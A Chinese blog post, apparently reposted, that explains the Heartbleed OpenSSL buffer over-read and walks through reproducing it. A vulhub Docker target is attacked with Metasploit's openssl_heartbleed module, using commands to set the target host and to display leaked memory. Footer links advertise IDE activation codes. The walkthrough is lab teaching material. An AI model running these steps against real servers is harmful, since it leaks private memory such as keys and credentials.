心脏出血(Heartbleed)漏洞浅析、复现

心脏出血(Heartbleed)漏洞浅析、复现一、漏洞介绍心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还

大家好,又见面了,我是你们的朋友全栈君。

一、漏洞介绍
心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
二、漏洞复现
靶机:centos7 192.168.81.136
攻击机:kali 192.168.81.135
确保两台测试机网络能通

使用docker+vulhub搭建漏洞环境,在centos7上搭建vulhub的步骤如下:
1、安装docker依赖包
yum install -y yum-utils device-mapper-persistent-data lvm2
2、安装docker
yum install docker
3、启动docker
systemctl start docker
4、下载vulhub
https://github.com/vulhub/vulhub/archive/master.zip
5、找到heartbleed,并进入,输入命令docker-compose up -d运行漏洞环境
在这里插入图片描述
在这里插入图片描述

6、查看运行情况
在这里插入图片描述
7、打开kali,运行metaspolit
在这里插入图片描述
8、使用metasploit进行攻击
1)搜索相关漏洞模块儿
search Heartbleed
在这里插入图片描述
2)使用相关攻击模块
use auxiliary/scanner/ssl/openssl_heartbleed
在这里插入图片描述
3)查看需要配置的选项
Show options
在这里插入图片描述
4)对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts(靶机ip)
set rhosts 192.168.81.136
在这里插入图片描述
5)开始攻击并查看结果,出现白框字样表示漏洞存在
Run
在这里插入图片描述
6)set verbose true#(设置verbose,这个设置要设置成true才能看到泄露的信息) 此设置主要是为了显示整个过程以及leak出来的数据
在这里插入图片描述
在这里插入图片描述
注意:1、关闭防火墙 2、关闭selinux

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/160550.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • Git拉取代码报密码错误「建议收藏」

    Git拉取代码报密码错误「建议收藏」刚刚Git拉取代码,显示密码错误。我就奇怪了,密码输入了好几次,还是错误。但是马上得提交了,又很着急 ,将最简单的处理 方法忘记了。冷静下来,细细分析。刚学习时好像遇到过此类问题,于是直接删除凭证,再次拉取,正常。真的越着急越乱,遇到问题还是要冷静分析。…

  • 算法学习笔记——动态规划法

    算法学习笔记——动态规划法

  • vue 通过路由判断激活样式破解方法

    vue 通过路由判断激活样式破解方法,https://javaforall.cn/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

  • word文档页码不连续编号怎么办_怎样给论文加页码

    word文档页码不连续编号怎么办_怎样给论文加页码论文页码设置大家好!今天和大家分享两个和页码有关的技巧:大家好!今天和大家分享两个和页码有关的技巧:为分栏页面分别设置页码对纵向文档中的横向表格设置页码page域及域代码操作基础技巧01分栏页面像下面这个文档,对页面分成了两栏,如果现在想给每一栏都添加一个页码序号,也就是在第1页的左右两栏分别显示第1页和第2页,在第2页的左右两栏分别显示第3页和第4页,这样的效果该如何设置呢?我们先在页脚中设置好…

    2022年10月25日
  • 2019idea永久激活方法 3月最新注册码

    2019idea永久激活方法 3月最新注册码,https://javaforall.cn/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

  • 微信怎么设置自动回复机器人_微信群助手机器人

    微信怎么设置自动回复机器人_微信群助手机器人“傻瓜式”微信自动回复机器人配置教程首先下载Python和Pip到官网上去下源文件Python官网下载,Pip下载地址这里建议Pip不要直接在这下,后面会有提到。我下的是Python2.7.8,Python3可能和这个版本有点小区别。官网下的Python是安装文件,Pip则是免安装的源文件(我是将Python直接装在C盘,我把Pip中放在Python27目录里面)。…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号